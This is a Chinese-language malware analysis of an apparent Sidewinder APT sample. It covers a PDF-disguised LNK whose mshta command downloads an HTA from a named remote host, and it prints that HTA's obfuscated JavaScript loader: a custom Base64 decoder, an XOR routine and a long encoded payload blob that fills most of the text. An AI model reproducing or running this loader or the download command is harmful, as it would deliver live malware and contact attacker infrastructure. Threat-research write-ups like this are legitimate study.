疑似APT组织响尾蛇的JavaScript脚本调试分析

样本描述

响尾蛇投递与巴基斯坦外交政策有关的LNK文件。
LNK文件不携带主要的恶意代码,而是作为一段简短的下载器代码执行。使用命令中的“mshta.exe”执行从远程服务器下载HTA文件。
下载的HTA文件是一个使用JavaScript写的经过自定义Base64编码混淆处理的下载器,带有检测环境(反病毒程序安装情况)并回传的功能。

样本分析

投递手法

初始文件是一个伪装为PDF文档的快捷方式,在目标中有命令“%windir%\System32\hsmta.exe https://mailmofagovpk.cdn-pak.net/2494/1/50382/2/0/0/1836338576/files-bf3af810/hta”。
用来下载“hta”文件并且使用“mshta.exe”加载执行:
在这里插入图片描述
这种脚本下载(HTA+JS脚本)方式,也是现在市面上比较常用的一种规避检测的下载手段。

HTA - JS代码

HTA文件内保存着经过自定义Base64编码处理的JavaScript脚本文件:

<script language="javascript">
	try
	{
   
		var gdDqB = ActiveXObject;
		var gKUKvQ = window.eval("String.fromCharCode");

		function NwbE(str)
		{
   
			var b64 = "BatM69NObVHEpjmJdciAnzTgsXwxD7ChL5o3rPlQGqW4ekZSKRU01Iy28uvYfF+/=";
			var b, result = "",
				r1, r2, i = 0;
			for (; i < str.length;)
			{
   
				b = b64.indexOf(str.charAt(i++)) << 18 | b64.indexOf(str.charAt(i++)) << 12 |
					(r1 = b64.indexOf(str.charAt(i++))) << 6 | (r2 = b64.indexOf(str.charAt(i++)));
				result += r1 === 64 ? gKUKvQ(b >> 16 & 255) :
					r2 === 64 ? gKUKvQ(b >> 16 & 255, b >> 8 & 255) :
					gKUKvQ(b >> 16 & 255, b >> 8 & 255, b & 255);
			}
			return result;
		};

		function yIfVKhe (key, bytes)
		{
   
			var res = [];
			for (var i = 0; i < bytes.length; )
			{
   
				for (var j = 0; j < key.length; j++)
				{
   
					res.push(gKUKvQ((bytes.charCodeAt(i)) ^ key.charCodeAt(j)));
					i++;
					if (i >= bytes.length)
					{
   
						j = key.length;
					}
				}
			}
			return res.join("")
		}

		function aHGcNAVB(bsix)
		{
   
			return yIfVKhe(keeee,NwbE(bsix))
		}
		var keeee = yIfVKhe("xHlr",NwbE("NQ5z66kvTnb="));
		var da = aHGcNAVB("HLcHH2V07O63DgL3DLXpBUpMgLF4nO59HQcpmB9fz2nwTOdp7LkNBLRhztRwXdXi9P1bMNqxzlcdaILNggqsORcTg116zB1NinqEMBqfsr6vdn1ABNc3BAdaTP9xw2uuVgdVNOV9zPrwzd8OtQatTiq179z+sOqb6NqfVOqxMnsja6ag7IXRscznALXi72PFNOjcVQ7F7Ie3dQLziPq8iL9HDoPygOkOBT5/9gu/TlbciQGA7Qj8atIL9L7LiQ7tVK72NQuwC6Gaa21it1c8Toj7ttfDTOj1AgKB9Pqv76pWsBBOsrzQgKa2io9P7QDB6g5xTQ59TIbITPnBBn5isR9HhajfD27+NOrEaP9Ka2rJXP7TNNax755YtK9nDKjFmIRsVT7aDcf272827gRFgicoxMcys2qO6zVyH6a0T6LSB2dqTLzUioF5n55wXQubbn7/Vy9dT2zd797Tzlk3NR9LBijBsrIgV15LpgsBDIK8iOdlOOI2zI7swtawhQcObTPHbB98TcFwh1Gxs6X6wijytIpDi67/9nXWpLkfClDJCPDThKV1gMaszBzXnI5rVTcfHL7KMdBZcLBxTB7Ys5knT0n9nRuLAdzbacRyzLbwC1pcTg99cdXxCUz2sTIgjLa3nI9PxIrrggnJcnz0cKX8Dtj1gPqw9naz9QcwTNG4DrGY7OashAjchUz5c9I0T271pKGEaTpVdrK9sORQNUB6wcXUX2pxp1aeHIc9TO8LXgXxDBqQhRqAs9DHCQkXm1cbM5RIX9RjCgeQhzz1adp6ToXoal6OVdLHAgIog9sawNFihPRQcK9CxtpDTTXImKaUVIK67N6msP1lTyVaBKkyz0LDTLXXAnPzn6k1A6jjNyKOzOL6sLFWntK9Ocu8nOIFb1cfDg6jhrpQa2PTDLrMT5cdnKINbgVdbzPFDgPztdFnnTX3Tzq8Mcz2TIVhz2jCHyV1B19ccKfaDgcC7MnO9rPDcL9QB6V8pQVwhQpssPzghKqNaAjaw0jBg2dNpzICEQ50XBbEsNLqz6XFOIXR7c5zaOqUtgICplXnaRf=")+"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